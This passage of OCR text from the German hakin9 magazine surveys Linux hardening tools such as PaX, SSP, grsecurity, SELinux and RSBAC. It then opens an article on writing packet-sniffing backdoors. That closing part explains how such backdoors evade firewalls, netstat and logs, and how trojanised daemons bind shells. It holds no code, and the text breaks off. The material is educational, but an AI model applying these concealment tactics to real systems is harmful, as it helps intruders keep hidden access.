Andere Mechanismen schränken das Erstellen von Hardlinks und Schreiben in Named Pipes in Verzeichnissen mit dem gesetzten Bit +t, d.h. in temporären Verzeichnissen (z.B. /tmp) ein. Die gewöhnlichen Nutzer können dadurch keine Links zu Dateien erstellen, die ihnen nicht gehören oder für die sie keine Lese- und Schreiberechte besitzen. Darüber hinaus können sie keine Daten in FIFO-Dateien schreiben, wenn diese ihnen nicht gehören. Der Patch schränkt auch das Lesen von Informationen über das System aus dem Verzeichnis /proc durch einen gewöhnlichen Nutzer ein, sofern er keiner speziellen Gruppe angehört. Der Nutzer kann Informationen über eigene Prozesse einsehen. Außerdem verbietet er den Nutzern das Starten von Netzwerkdiensten unter bestimmten IP-Adressen (nur im Kernel der Serie 2.0). Im Falle von Programmen mit dem gesetzten SUID- oder SGIDBit, erzwingt der Pacht, dass die Deskriptoren des standardmäßigen Eingangs, des standardmäßigen Ausgangs sowie des Ausgangs für Fehlermeldungen (Kernel der Serie 2.0 und 2.2) auf eine bestimmte Art und Weise angewendet werden.

hakin9 Nr. 2/2006

29

Fokus

Schutz des Speichers im Compiler

Der Schutz des Speichers im Compiler ist denkbar einfach. Hierbei werden dem Compiler Mechanismen hinzugefügt, die beim Bauen eines Programms einen Code hinzufügen, der den Stack vor Beschädigungen schützt. Dieser Schutz basiert auf der Modifizierung des Stack-Frame – einer Struktur, die zum Aufbewahren temporärer Daten, auf die sich die auszuführenden Funktionen beziehen, verwendet wird. Diese Modifizierung besteht in der Einführung einer Kontrollvariable, die Canary (Kanarienvögel) genannt wird und direkt vor der Rückkehradresse der Funktion platziert wird. Das Beschädigen des Stacks und Überschreiben der Rückkehradresse bewirken, dass der Canary-Wert ebenfalls geändert wird. Dadurch wird die Applikation abgebrochen, womit das Ausführen von Shellcode unterbunden wird.

Abbildung 1. Stack-Schutz durch PaX Darüber hinaus ermöglicht er das Freigeben von nicht verwendeten Bereichen des Shared-Memory.

Installation

Um Openwall zu installieren, sollte man: • • • •

Kernelquellen aktualisieren; Patch einspielen; Kernel konfigurieren; Kernel kompilieren.

Damit wir einige Funktionen von Openwall in Verbindung mit manchen Versionen der Bibliothek glibc sowie Programme aus den Paketen procps oder psmisc benutzen können, werden wir sie wahrscheinlich aktualisieren müssen. Zum Patch wurde das Programm chstk hinzugefügt, mit dessen Hilfe wir definieren können, welche Programme auf dem Stack einen Code ausführen dürfen. Im Header der ELF-Datei wird ein Flag gesetzt, das beim Erstellen eines neuen Prozesses vom System überprüft wird – anschließend werden die Rechte vom System verliehen.

PaX

Das Projekt PaX kann in Systemen mit einem Kernel der Serien 2.2, 2.4 und 2.6 verwendet werden. Es ist im Oktober 2000 entstanden, wurde aber im April 2005 eingestellt, nachdem eine kritische Lücke gefunden wurde, die das Umgehen wichtiger Schutzmechanismen ermöglichte. Obwohl der Fehler behoben wurde, stellten die Autoren fest, dass die Nutzer dem Tool nicht mehr vertrauten und verzichteten

30

hakin9 Nr. 2/2006

auf die Weiterentwicklung des Projekts. Die Betreuung des Codes hat der Autor von grsecurity, Brad Spengler, übernommen.

Schutzmechanismen

PaX bietet Schutzmechanismen, die mit denen von Openwall vergleichbar sind: das Tool unterbindet das Ausführen eines Codes im Speicher und ermöglicht die Randomisierung des Adressbereichs eines Prozesses. Diese Funktionen unterscheiden sich aber von denen des Konkurrenzprojekts. Der Speicherschutz in PaX umfasst nicht nur den Stack. Jedes Segment (siehe Kasten Schutz des Speichers im Kernel) verfügt über separate Berechtigungen, die entweder das Schreiben oder das Ausführen ermöglichen. Darüber hinaus kann ein Administrator eine der zwei Techniken anwenden: PAGEEXEC (Schutz durch Paging) oder SEGMEXEC (Schutz durch Segmentierung). Der zweite bereits angesprochene Mechanismus ermöglicht ein zufallsgesteuertes Platzieren aller Elemente des Prozessspeichers. Dadurch wird ein Return-to-libc-Angriff im Grunde genommen vereitelt. In Abbildung 1 wurde der Prozessspeicher im Standardsystem mit dem Prozessspeicher im System, das mithilfe von Pax geschützt wird, verglichen.

Installation

Um PaX zu installieren, sollte man: • •

Kernelquellen aktualisieren; Patch einspielen;

www.hakin9.org

• • •

Kernel konfigurieren; Kernel kompilieren; die Tools chpax und paxctl kompilieren und installieren.

Mithilfe der Programme chpax und paxctl können wir die ausführbaren Programme so konfigurieren, dass sie nur bestimmte Sicherungen benutzen oder diese außer acht lassen. Dies ist sehr nützlich, wenn wir nicht standardmäßige Applikationen verwenden, die nach den eingeführten Einschränkungen des Speicherzugriffs nicht richtig funktionieren. Diese Tools verwenden zwei Arten der Kontrolle über ausführbare Programme. Das Programm paxctl benutzt eine invasivere Methode – es modifiziert den Header der ausführbaren ELF-Datei, indem es entsprechende Felder hinzufügt. Dadurch müssen auch die Tools aus dem Paket binutils modifiziert werden. Die zweite Methode (das Werkzeug chpax) hat einen kleineren Einfluss auf die Konfiguration des Systems und erinnert an eine Lösung, die in Openwall verwendet wurde. Sie greift auf ein vorhandenes, reserviertes Feld des ELF-Headers zu. Durch die erste Methode wird PaX besser im Betriebssystem in-

Übersicht von Mechanismen zur Erhöhung der Sicherheit von Linux

Listing 1. Ein Programm, das den Schutz des Speichers im Compiler demonstriert (siehe Abbildung 2 und 3) char *func(char *msg, int a) { int var1; char buff[10]; int var2; ... } int main(int argv, char *argc[]) { char *p; p = func(argc[1]); }

exit(0);

tegriert. Darüber hinaus ermöglicht sie das Verwenden des so genannten Soft-Arbeitsmodus, in dem alle Funktionen, die zur Erhöhung der Sicherheit beitragen, ausgeschaltet sind. Damit wir sie verwenden können, müssen sie in jedem Programm aktiviert werden.

Abbildung 2. Schutz des Speichers durch StackGuard

StackGuard

StackGuard ist eine Erweiterung des Compilers GCC. Der Patch wurde von der Firma Immunix im Jahre 1997 entwickelt. Die in diesem Projekt eingesetzten Techniken waren so interessant, dass auf der Konferenz GCC 2003 Summit vorgeschlagen wurde, diese im Compiler anzuwenden. Leider wurde diese Idee weder in den Versionen 3.x noch 4.0 implementiert. Dies resultiert aus der Tatsache, dass es in GCC4.1 Schutzmechanismen geben wird, die aus SSP (siehe unten) stammen. Die Arbeiten am Projekt wurden eingestellt. Aus diesem Grund wird hier keine Installation dieses Patches vorgestellt. StackGuard war das erste Werkzeug, das einen Speicherschutz auf der Applikationsseite eingeführt hat. Diese Lösung wurde danach zum Ausgangspunkt für andere Projekte dieser Typs.

Schutzmechanismen

StackGuard verwendet zum Schutz des Prozessspeichers den CanaryMechanismus (siehe Kasten Schutz

Abbildung 3. Schutz des Speichers durch SSP des Speichers im Compiler). Diese Technik garantiert aber keine hundertprozentige Sicherheit. Der Kanarienvogel wird nämlich an einer Stelle positioniert, wo nur die Rückkehradresse, die im Stack-Frame aufbewahrt wird, geschützt wird. Andere Elemente des Frames (lo-

www.hakin9.org

kale Variablen der Funktion und der Pointer zum nächsten Stack-Frame) werden nicht geschützt. In Abbildung 2 wurde der Stack des Programms aus Listing 1 vor und nach dem Anwenden von StackGuard dargestellt. Wie Sie der Abbildung entnehmen können,

hakin9 Nr. 2/2006

31

Fokus

wurde vor jeder Rückkehradresse eine Kontrollvariable platziert. Ein Angriff, der im Überlaufen des Puffers var2 besteht, wird vereitelt, da er das Überschreiben aller Felder in Richtung höherer Speicheradressen bewirkt. Die Änderung der Rückkehradresse der Funktion func() wird zwar erkannt – wenn aber ein Angreifer nur die Variablen buf und var1 sowie den Stack Frame Pointer als Ziel hat, wird das Programm weiterhin funktionieren. In den späteren Versionen von StackGuard wurde der Kanarienvogel vor dem Stack Frame Pointer platziert. Dadurch konnte dieses Feld geschützt werden – dies garantierte jedoch die Integrität der übrigen lokalen Variablen der Funktionen immer noch nicht.

SSP

Der Patch Stack-Smashing Protector (SSP), der früher als ProPolice bekannt war, erinnert konzeptionell an StackGuard, ist aber umfangreicher. Der Autor und Betreuer von SSP ist Hiroaki Etoh. Zurzeit ist SSP eine GCC-Erweiterung – ab der Version 4.1 des GCC-Compilers wir der Patch allerdings integriert sein.

Schutzmechanismen

Der Stack-Smashing Protector schützt den Stack des Prozesses (Rückkehradresse, lokale Variablen, Funktionsargumente) unter Verwendung dreier Techniken. Jede Technik kann beim Kompilieren des Programms ein- oder ausgeschaltet werden. • • •

Kontrollwert (Canary); Modifizieren von Variablen; Kopieren von Argumenten.

Die erste Technik funktioniert genauso wie in StackGuard. Der Kanarienvogel (Canary) wird vor dem Stack-Frame-Pointer platziert. Die zweite Technik bewirkt das Modifizieren der Reihenfolge, in der die lokalen Variablen der Funktion auf dem Stack platziert werden. Die Char-Variablen, die für Überläufe anfällig sind, werden zwischen den Zahlenvariablen und dem Kontrollwert positioniert. Dadurch wird Verhindert, dass das Über-

32

hakin9 Nr. 2/2006

Zugriffskontrolle in Betriebssystemen

In den populärsten Betriebssystemen werden Mechanismen zur Zugriffskontrolle verwendet, die an das DAC-Modell (engl. Discretionary Access Control) angelehnt sind. Jedes Subjekt (sowohl Nutzer als auch Prozess) hat volle Kontrolle über die Objekte (Dateien, Verzeichnisse, Devices), die ihm gehören. Des Weiteren kann es die aktuellen Zugriffsrechte für seine Ressourcen beliebig ändern und löschen. Zusätzlich gibt es im System einen Superuser (root), der als Administrator fungiert. Er verfügt über uneingeschränkte Zugriffsrechte für alle Rechnerressourcen und kann praktisch alles tun. Falls ein Eindringling den Zugriff auf das Root-Konto erlangt, erhält er uneingeschränkten Zugang zum System. Im MAC-Modell (engl. Mandatory Access Control, MAC) verfügt der Administrator immer noch über die höchsten Berechtigungen im Betriebssystem. Er legt jedoch die Berechtigungen fest, die für alle Subjekte gelten. Das MAC-Modell führt also eine zentrale Verwaltung der Zugriffskontrolle ein – dies ist ein Unterschied im Vergleich zum dezentralen DAC-Modell. Die Nutzer, deren Rechte eingeschränkt wurden, besitzen keine vollständige Kontrolle über ihre Dateien und Verzeichnisse. Das MAC-Modell richtet sich an Systeme, in denen die Daten besonders geschützt werden müssen und wird vor allem im Militärbereich verwendet. Interessanterweise können die Zugriffsregeln auch den Superuser umfassen, der in diesem Fall einen Teil seiner Rechte verliert. Sollte ein Eindringling Zugang zum Konto des Superusers erlangen, wird er auf diese Weise manche Daten (wie Webseiten) weder kopieren noch ändern können. Die Modelle DAC und MAC wurden zum ersten Mal in einem TCSEC-Dokument (Trusted Computer Security Evaluation Criteria) dargestellt, das 1985 vom US Department of Defence veröffentlicht wurde. Das dritte bekannte Model der Zugriffskontrolle basiert auf Rollen (engl. RoleBased Access Control, RBAC). Es wurde 1992 von David Ferraiolo und Richard Kuhn vom National Institute of Standards and Technology (NIST) in den USA vorgestellt. In diesem Model werden allen Nutzern Rollen mit genau definierten Berechtigungen zugewiesen, die für alle vom jeweiligen Nutzer gestarteten Programme gültig sind. Die Rechte der Nutzer können ähnlich wie im MAC-Model eingeschränkt, und die Aufgaben des Superusers auf einige Nutzer verteilt werden. Dadurch wird die Gefahr, dass ein Angreifer einen Zugang zum Superuser-Konto oder einem mit dessen Rechten laufenden Prozess erlangen kann, eliminiert. Selbst wenn der Angriff erfolgreich war, erhält der Eindringling keinen Zugriff auf das gesamte System und die dort gespeicherten Daten. Man sollte nicht vergessen, dass RBAC eine besondere Variante von MAC ist, und beide Modelle vergleichbare Ergebnisse liefern.

laufen einer einzigen von diesen nicht die lokalen Variablen beschädigt. Der letzte Mechanismus schützt die Argumente der Funktionen, deren Kopien auf dem Stack neben den lokalen Variablen platziert und anstelle von Originalargumenten verwendet werden. Wurden all diese drei Techniken gleichzeitig angewendet, wird ein Puffer-Überlauf im so geschützten Programm erheblich erschwert. In Abbildung 3 wurde ein ProgrammStack nach dem Anwenden von SSP dargestellt.

Installation

Die Installation von SSP besteht im Hinzufügen eines Patches zum GCCCompiler. Ein Programmierer bekommt

www.hakin9.org

vier zusätzliche Optionen: -fstackprotector, -fno-stack-protector, -fstackprotector-all und -fno-stack-protec tor-all. Sie ermöglichen das Ein- und Ausschalten des Stack-Schutzes sowie das Ein- und Ausschalten des Schutzes aller Funktionen (und nicht nur derjenigen, die Zeichenketten verwenden).

grsecurity

Grsecurity ist ein Projekt, das im Februar 2001 ins Leben gerufen wurde und bis heute von Brad Spengler alias Spender entwickelt wird. Ursprünglich war grsecurity eine Version von Openwall für Kernel der Serie 2.4, hat aber schnell einen unabhängigen Status bekom-

Übersicht von Mechanismen zur Erhöhung der Sicherheit von Linux

men. Heutzutage gilt grsecurity als einer der besten und zugleich am einfachsten zu installierenden Mechanismen zur Sicherung von Linuxsystemen.

Schutzmechanismen

Das Projekt verbindet die Funktionen von Openwall und PaX in Bezug auf den Schutz des Speichers mit einer rollenbasierten Zugriffskontrolle (siehe Kasten Zugriffskontrolle in Betriebssystemen). Es führt Einschränkungen für gewöhnliche Nutzer sowie die Randomisierung der Mechanismen zur Unterstützung von Prozessen und Netzwerken ein. Darüber hinaus verbessert es die Sicherheit der Funktion chroot, erweitert das Loggen von Ereignissen und

schützt vor Race Conditions in temporären Verzeichnissen.

Installation

Grsecurity ist ein Kernelpatch. Dessen Installation unterscheidet sich also kaum von der von Openwall und PaX. Um RBAC zu verwenden, müssen wir zusätzlich gradm installieren – ein Tool zur erweiterten Konfiguration der Zugriffskontrolle im System. Die Verwaltung der Zugriffskontrolle ist denkbar einfach, und gradm verarbeitet das typische Verhalten der Nutzer, was ein automatisches Erstellen von minimalen Zugriffsregeln ermöglicht.

LIDS

LIDS (Linux Intrusion Detection System) ist ein anderer Kernelpatch, der

Anwendungsbeispiele Server

Die Server bieten meistens ein bestimmtes Paket von Diensten – sie stellen zum Beispiel E-Mail, WWW, Aufbewahren von Dateien und Datenbanken zur Verfügung. In den meisten Fällen hat ein System mehrere Aufgaben gleichzeitig zu erfüllen. Nur in größeren Firmen stellt ein Server nur einen Dienst zur Verfügung. Nicht selten wird ein Server von mehreren Personen verwaltet – jemand verwaltet E-Mail-Dienste, und jemand anders nimmt Änderungen an den Websites oder an den Datenbanken vor. In diesem Fall empfiehlt es sich, einen Mechanismus zur Zugriffskontrolle einzuführen, der auf Rollen basiert und diese strikt trennt – und zwar so, dass keiner der Administratoren über mehr Rechte verfügt als es nötig ist. So sollte zum Beispiel der Administrator des Betriebssystems den Inhalt von Webseiten nicht modifizieren können. Aufgrund der Tatsache, dass die Dienste mehreren Nutzern zur Verfügung gestellt werden müssen (häufig sogar über das Internet), ist der Schutz vor bekannten Fehlern von großer Bedeutung – hier ist vor allem der Schutz des Speichers im Kernel und Compiler gemeint. Die einzelnen Applikationen sollten sich in separaten Chroot-Umgebungen befinden. Die beste Lösung scheinen in diesem Fall die Projekte SSP, grsecurity und RSBAC zu bieten, da sie alle in dieser Situation benötigten Schutzmaßnahmen bieten.

Arbeitsstation

Eine Arbeitsstation kann mehreren Personen zur Verfügung gestellt werden. Sie bietet aber den externen Nutzern keine Dienste und wird von einem Administrator verwaltet. Aus diesem Grund können wir eine Arbeitsstation sicherer machen, indem wir den Speicher im Kernel schützen (PaX oder grsecurity mit dem deaktivierten Mechanismus zur Zugriffskontrolle) und die Administratorrechte mithilfe von LIDS einschränken.

Router oder Firewall

Spezialisierte Systeme wie Router oder Firewalls sowie IDS- und IPS-Systeme werden meistens von einem Administrator verwaltet. Sie stellen keine Dienste zur Verfügung, agieren häufig nur in der zweiten TCP/IP-Schicht, haben keine IP-Adressen – man kann auf sie nur von der Konsole aus zugreifen. In diesem Fall werden keine zusätzlichen Schutzmassnahmen benötigt. Wurde jedoch einem System eine IP-Adresse zugeordnet und wird das System entfernt verwaltet, scheint die beste Lösung das Anwenden von PaX oder grsecurity zu sein. Darüber hinaus kann sich das Einschränken von RootRechten mithilfe von LIDS als sinnvoll erweisen.

www.hakin9.org

die Standardmechanismen der Zugriffskontrolle erweitert. Die Autoren des Projekts sind Xie Huagang und Philippe Biondi. Die ersten Versionen von LIDS waren die für die Kernel der Serie 2.2 – die heutigen Versionen können sowohl in der Serie 2.4 als auch 2.6 eingesetzt werden.

Schutzmechanismen

LIDS führt eine obligatorische Zugriffskontrolle ein (MAC mit ACL). Die Berechtigungen werden mithilfe des Pakets lidstools definiert, dessen Bestandteile die Werkzeuge lidsadm und lidsconf sind. Bei der Konfiguration können die Zugriffsrechte von Programmen auf Ressourcen (Dateien, Verzeichnisse, Netzwerkfunktionen) definiert werden. Da das Einstellen all dieser Regeln von Hand schwierig und aufwendig ist, haben die Autoren des Projekts in der Dokumentation typische Konfigurationen für manhe Dienstapplikationen und Administrationswerkzeuge vorgeschlagen.

Installation

Die Installation von LIDS erinnert sehr an die bereits beschriebenen Schritte. Zusätzlich müssen wir die Tools aus dem Paket lidstools kompilieren und installieren sowie die Zugangsregeln konfigurieren.

SELinux

Das Projekt Security-Enhanced Linux (SELinux) wurde 2000 von National Security Agency in den USA in Zusammenarbeit mit einigen Firmen ins Leben gerufen. Es wurde an den Techniken von Flask angelehnt, einer aus dem Systemen Flux stammenden Architektur. SELinux war ein Zusatz für den Kernel und wurde während der Arbeiten an Linux 2.5 in denselben integriert.

Schutzmechanismen

SELinux führt eine obligatorische rollenbasierte Zugriffskontrolle ein. Der Patch ist umfangreicher als grsecurity, allerdings auch schwieriger zu konfigurieren. Das Projekt wurde hervorragend dokumentiert. Es bietet aber keine Mechanismen

hakin9 Nr. 2/2006

33

Fokus

Tabelle 2. Projekte Openwall und Pax im Vergleich Funktion

Openwall

PaX

Kernelversionen

2.0, 2.2, 2.4

2.2, 2.4, 2.6

Schutz des Speichers vor Modifizierungen

Schutz des Stacks des Prozesses

Zuordnung der einzelnen Speichersegmente entsprechender Schreib- oder Ausführungsrechte

Randomisierung des Speichers

Randomisierung der Adres- Randomisierung aller Speichersegmente eines sen von Shared-Libraries Prozesses

Einschränken von Links in temporären Verzeichnissen

Ja

Nein

Einschränken von Named Pipes in temporären Verzeichnissen

Ja

Nein

Einschränken des Zugriffs auf das Verzeichnis /proc

Ja

Nein

Tabelle 3. Projekte grsecurity, LIDS, SELinux und RSBAC im Vergleich Funktion

grsecurity

LIDS

SELinux

RSBAC

Zugriffskontrolle

Rolle

ACL

Rolle

Rolle

Speicherschutz

Ja, integriert mit PaX

Nein

Nein

Ja, integriert mit PaX

Systemschutz

Schutz des Verzeichnisses /proc, Randomisierung der Unterstützung für Netzwerke und Prozesse, verbesserte Sicherheit von chroot, Einschränken von Links, Schutz vor Race Conditions, erweitertes Loggen von Ereignissen

Schutz des Systems wird durch die Konfiguration von Zugriffsskontrolllisten ermöglicht

Schutz des Systems wird durch die Konfiguration von Zugangskontrollregeln ermöglicht

Schutz des Verzeichnisses /proc, Randomisierung der Unterstützung für Netzwerke und Prozesse, verbesserte Sicherheit von chroot, Einschränken von Links, Schutz vor Race Conditions, erweitertes Loggen von Ereignissen, Nutzerverwaltung auf der Kernelseite

Automatisches Erstellen von Zugriffsregeln

Ja, eingebaut

Nein

Ja, externe Programme

Ja, eingebaut

Tabelle 4. Sichere Linuxdistributionen RedHat

Fedora

Hardened Gentoo

Adamantix EnGarde Adios

Openwall

Ja

PaX

Ja

Ja

SSP

Ja

Ja

grsecurity

Ja

Ja

LIDS SELinux

Ja Ja

Ja

RSBAC zum automatischen Erstellen von Zugriffsregeln. Zum Glück gibt es separate Projekte, die diese Funktionen zur Verfügung stellen (z.B. polgen). Die Distributionen, die SELinux verwenden, verfügen über Pakete mit vordefinierten Zugriffsregeln für die bekanntesten Applikationen.

Installation

SELinux besteht aus einem Code im Kernel, der Bibliothek libselinux sowie

34

hakin9 Nr. 2/2006

Owl

Ja Ja

Ja Ja

den Paketen checkpolicy und policycoreutils. SeLinux ist in den Kernel der Serie 2.6 bereits enthalten – es genügt, die entsprechende Option in der Konfiguration zu aktivieren und den Kernel zu kompilieren. Im Falle eines Kernels der Serie 2.4 muss der Patch von Hand eingespielt werden. In einem so geschützten System sind manche Werkzeuge, u.a. ls, cp, ps und login, nur noch in einer modifizierten Form verfügbar.

www.hakin9.org

Ja Ja

RSBAC

RSBAC (Rule Set Based Access Control) ist ein sehr umfangreiches Projekt, das die Mechanismen der Zugriffskontrolle erweitert. Seit Januar 2000 gibt es eine stabile Version des Projekts. Es handelt sich hier um keine einheitliche Lösung, sondern ein modulbasiertes Framework, welches die Verwendung einer Reihe von Sicherungen ermöglicht.

Übersicht von Mechanismen zur Erhöhung der Sicherheit von Linux

Über den Autor

Der Diplominformatiker Michał Piotrowski ist ein erfahrener Netzwerk- und Systemadministrator. Über drei Jahre lang arbeitete er als Sicherheitsinspektor bei einer Institution, die Dienstleistungen für die zentrale PKI-Zertifizierungsstelle angeboten hat. .

Schutzmechanismen

RSBAC bietet folgende Funktionen: •

•

•

•

Benutzerverwaltung auf der Kernelebene. Informationen über Konten, Gruppen, Passwörter und Zugriffsrechte werden nicht in den Dateien passwd, shadow, group und gshadow, sondern im Kernel aufbewahrt. Damit diese Funktionen verwendet werden können, muss man zunächst einige Systembibliotheken und den PAMMechanismus ändern; Einschränkung der Funktion setuid() – Programme mit dem gesetzten SUID- oder SGID-Bit müssen autorisiert werden; obligatorische Zugriffskontrolle, die an Zugangskontrolllisten oder Rollen angelehnt werden kann; der Schutz des Prozessspeichers (Integration mit PaX), Erhöhung der Sicherheit des chroot-Mechanismus, limitierte Zugriffe auf Ressourcen, erweiterter Dateischutz, Zugriffskontrolle für Netzwerkschnittstellen, Schutz von Informationen im Verzeichnis /proc u.v.m.

Installation

Damit die Funktionen von RSBAC verwendet werden können, muss man den Kernel modifizieren. Darüber hinaus müssen Administrationsprogramme installiert werden, die auf der Homepage des Projekts verfügbar

sind. Außerdem müssen manche Werkzeuge und Systembibliotheken geändert werden.

Qual der Wahl

Die Wahl der besten Lösung zum Schutz des Prozessspeichers im Kernel oder auf der Compilerseite ist nicht schwierig. Dies ist aber bei der Wahl eines Mechanismus, der die Kontrolle des Zugriffs auf das System erweitert, nicht mehr der Fall. SELinux ist in den offiziellen Versionen des Kernels der Serie 2.6 bereits installiert, was eine gute Integration mit dem Betriebssystem ermöglicht. Da der Patch von NSA entwickelt wird, ist zu erwarten, dass die Arbeiten nicht eingestellt werden. Das Projekt wurde gut dokumentiert und ist in manchen Distributionen (RedHat, Fedora) bereits installiert und vorkonfiguriert. Dessen Nachteil besteht jedoch darin, dass die Zugriffskonfiguration von Grund auf durchgeführt wird. Außerdem ist dessen Anwenden in einem bereits funktionierenden System in der Produktionsumgebung sehr aufwendig. Im Gegensatz dazu ist Grsecurity ein Paket, das leicht zu konfigurieren ist. Es bietet Werkzeuge, die das Erstellen automatischer Zugriffsregeln ermöglichen sowie zusätzliche Mechanismen, die das System schützen (nicht nur MAC/RBAC). Leider wurde

Im Internet • • • • • • • •

http://www.openwall.com/linux/ – Openwall, http://pax.grsecurity.net/ – PaX, http://www.trl.ibm.com/projects/security/ssp/ – SSP, http://www.grsecurity.org/ – grsecurity, http://www.lids.org/ – LIDS, http://www.nsa.gov/selinux/ – SELinux, http://www.mitre.org/tech/selinux/ – Erstellen von automatischen Zugriffsregeln für SELinux, http://www.rsbac.org/ – RSBAC.

www.hakin9.org

das System für die Zugriffskontrolle in diesem Projekt nicht gut dokumentiert und stellt weniger Funktionen zur Verfügung als SELinux und RSBAC. Grsecurity ist aber die erste Wahl, wenn es auf eine schnelle und einfache Installation sowie Konfiguration ankommt. LIDS bietet einen Funktionsumfang, der mit dem von grsecurity vergleichbar ist. Allerdings stellt der Patch keine Rollen und viel weniger Mechanismen zum Schutz des Betriebssystems zur Verfügung. Auf der anderen Seite ist er aber besser dokumentiert als grsecurity. Auf der Homepage des Projekts finden wir viele ACL-Beispiele für die meisten populären Applikationen. Der Patch ist eine gute Wahl, wenn wir die Rechte des Superusers einschränken möchten, und gleichzeitig nach einem Werkzeug suchen, das leicht zu installieren ist. RSBAC kann dagegen als eine komplexe Lösung betrachtet werden. Leider geht diese Komplexität mit einer schwierigeren Installation und Konfiguration einher. Obwohl der Patch gut dokumentiert wurde, ist das Einspielen alles andere als einfach.

Keine Massenware, sondern etwas für jeden Geschmack Keine der vorgestellten Lösungen sollte als besser oder schlechter als die anderen betrachtet werden. Deren Wahl hängt davon ab, ob das Projekt unseren Bedürfnissen entspricht und ob wir die Mechanismen, die in ihm verwendeten wurden, gut verstehen. Die Sicherheit unseres Rechners ist nicht nur auf die Effizienz der angewandten Werkzeuge, sondern weitgehend auf deren richtige Konfiguration zurückzuführen. Bei der Wahl des richtigen Werkzeugs können sich die Tabellen 2 und 3 als hilfreich erweisen. Sie beinhalten Informationen zu den vorgestellten Lösungen. Der Kasten Anwendungsbeispiele enthält Vorschläge von Lösungen für Server, Arbeitsstationen, Router und Firewalls. l

hakin9 Nr. 2/2006

35

Praxis

Schreiben hochentwickelter LinuxBackdoors – Paketsniffing Brandon Edwards

Schwierigkeitsgrad

Weil die Menschen sich neue Verteidigungstechniken gegen Backdoors ausdenken, sind Eindringlinge dazu gezwungen, sich ebenfalls neue Techniken auszudenken, um mit der sich rasch entwickelnden Sicherheitsindustrie Schritt halten zu können. Eine dieser Techniken sind Backdoors, die Pakete mitsniffen. Erfahren Sie, wie diese funktionieren, indem wir unser eigenes Proof-of-Concept-Tool schreiben.

E

ine neue Backdoor-Technik, die sich aus dem Bedürfnis heraus entwickelt hat, eine lokale Firewall (wie zum Beispiel Netfilter) zu umgehen ohne dabei Code einzubetten oder sich zurückzuverbinden, ist Paketsniffing. Diese Ausführung von Backdoors funktioniert, indem Pakete (unter Umständen mit bestimmten Eigenschaften) durch das Netzwerkinterface mitgeschnitten werden, um diese in Bezug auf auszuführende Befehle auszuwerten. Die Pakete, die die BackdoorBefehle enthalten, müssen nicht vom System als Verbindung angenommen werden, sondern nur von der Netzwerkschnittstelle des Zielsystems gesehen werden Es gibt viele interessante Vorteile beim Paketsniffing nach Befehlen (anstelle davon auf Verbindungen zu warten oder diese zu initiieren). Indem Pakete an der Netzwerkschnittstelle abgefangen werden und das System nicht nach einem Socket gefragt wird, werden die Pakete von der Backdoor gesehen, unabhängig davon, ob sie lokal gefiltert (zum Beispiel von Netfilter) werden oder nicht. Weil die Backdoor niemals eine Verbindung über das System akzeptieren muss, taucht sie auch nie bei netstat auf. Letztendlich kann

36

hakin9 Nr. 2/2006

die Netzwerkschnittstelle sogar im non-promiscuous-Modus bleiben, um zu verhindern, dass die Backdoor in den lokalen Systemlogs auftaucht. Das folgt daraus, dass nur Pakete, die direkt an das System gerichtet sind (und nicht an andere Systeme im Netzwerk), gelesen werden müssen.

Backdoor-Design

Neben den Vorteilen von paketsniffenden Backdoors gehen einige interessante Fragen

In diesem Artikel erfahren Sie... • •

wie die Pakete mitschneidende BackdoorTechnik funktioniert, wie diese Technik in der Praxis benutzt werden kann.

Was Sie vorher wissen/können sollten... • • •

www.hakin9.org

Linux TCP/IP-Netzwerkgrundlagen, Grundlagen der C-Programmierung, Linux-Networking mithilfe von libpcap.

Schreiben einer Backdoor, die Pakete mitschneidet

Lokale vs remote Backdoors

Lokale Backdoors werden lokal auf dem Zielsystem (daher der Name) ausgeführt und erfordern deshalb, dass der Angreifer bereits vor der Ausführung einen bestimmten Zugriff auf das betroffene System besitzt. Die meisten lokalen Backdoors werden von Eindringlingen, die einen Shell-Zugang auf das kompromittierte System besitzen, benutzt, um mithilfe der Backdoor ihre Rechte auszuweiten. Obwohl es viele Ansätze zur verborgenen Benutzung und zum Verstecken lokaler Backdoors gibt, führt die notwendige lokale Präsenz des Angreifers zu einem recht großem Risiko entdeckt zu werden. Aus diesem Grund werden remote-Backdoors im Vergleich zu denen, die lokalen Zugriff benötigen, immer häufiger. Remote Backdoors sind vom Netzwerk aus zu erreichen und ermöglichen es, vom System des Angreifers ohne vorherigen Zugriff auf das Zielsystem (vom anfänglichen Einpflanzen der Backdoor selbst natürlich abgesehen) benutzt zu werden. Normalerweise wird auf diese Backdoors mittels eines TCP-Sockets, der auf einem hohen Port lauscht, mit dem sich der Benutzer verbinden kann, remote zugegriffen. Nach Herstellung der Verbindung könnte eine Authentifizierung erforderlich sein, jedoch ermöglichen viele Backdoors den Zugriff sofort. Diese Art von Backdoor, die standardmäßig an einem Socket lauscht, ist einfach und recht leicht durch Tools wie netstat zu erkennen (vorausgesetzt, netstat besitzt nicht selbst noch Hintertüren). Diese Backdoor-Art kann ebenfalls leicht durch remote-Portscanning entdeckt werden und ermöglicht infolgedessen eine beliebige Benutzung durch andere Hacker.

Neue Backdoor-Taktiken

Da die Sicherheitsindustrie Fortschritte gemacht hat, haben Administratoren gelernt normale, auf Sockets lauschende Backdoors zu erkennen und zu bezwingen. In dem Firewall-Regeln implementiert werden, welche Traffic auf Ports blockieren, die für rechtmäßige Dienste nicht unbedingt erforderlich sind, kann die Verbindungsmöglichkeit zu lauschenden Backdoors bedeutend reduziert, wenn nicht sogar vollständig beseitigt werden. Um dieser Verteidigung entgegenzuwirken, wurdenneue Taktiken entwickelt. •

•

Einbettung von Backdoor-Code in vorhandene, priviligierte, socket-lauschende Daemons um Firewalls zu umgehen. Ein Daemon mit eingebauter Backdoor würde den normalen Dienst anbieten, bis eine Art von Auslöser des Protokolls empfangen wird. Zu diesem Zeitpunkt würde der Daemon seine Rechte (wenn notwendig) erhöhen und eine Shell mit dem Socket verknüpfen. Ein entscheidender Vorteil bei dieser Backdoor ist, dass wenn sie von netstat oder einem Portscan aufgegriffen wird, sie als standardmäßig lauschender Daemon erscheint. Die Risiken bei dieser Methode liegen darin, dass man ein rechtmäßiges Binary auf dem Zielsystem ersetzen muss und dies wahrscheinlich von einem Host-IDS oder einem erfahrenen Administrator erkannt werden würde. Selbst wenn es nie bemerkt wird, ist es wahrscheinlich, dass das mit Backdoor ausgestattete Binary bei einem Upgrade des Daemons (von dem neuen, rechtmäßigem Binary) überschrieben wird. Zurückverbinden zum Rechner des Hackers, anstelle auf eine eingehende Verbindung zu warten, um Firewalls zu umgehen. Die Annahme bei dieser Vorgehensweise ist, dass wenn eine Firewall vorhanden ist, deren Richtlinien 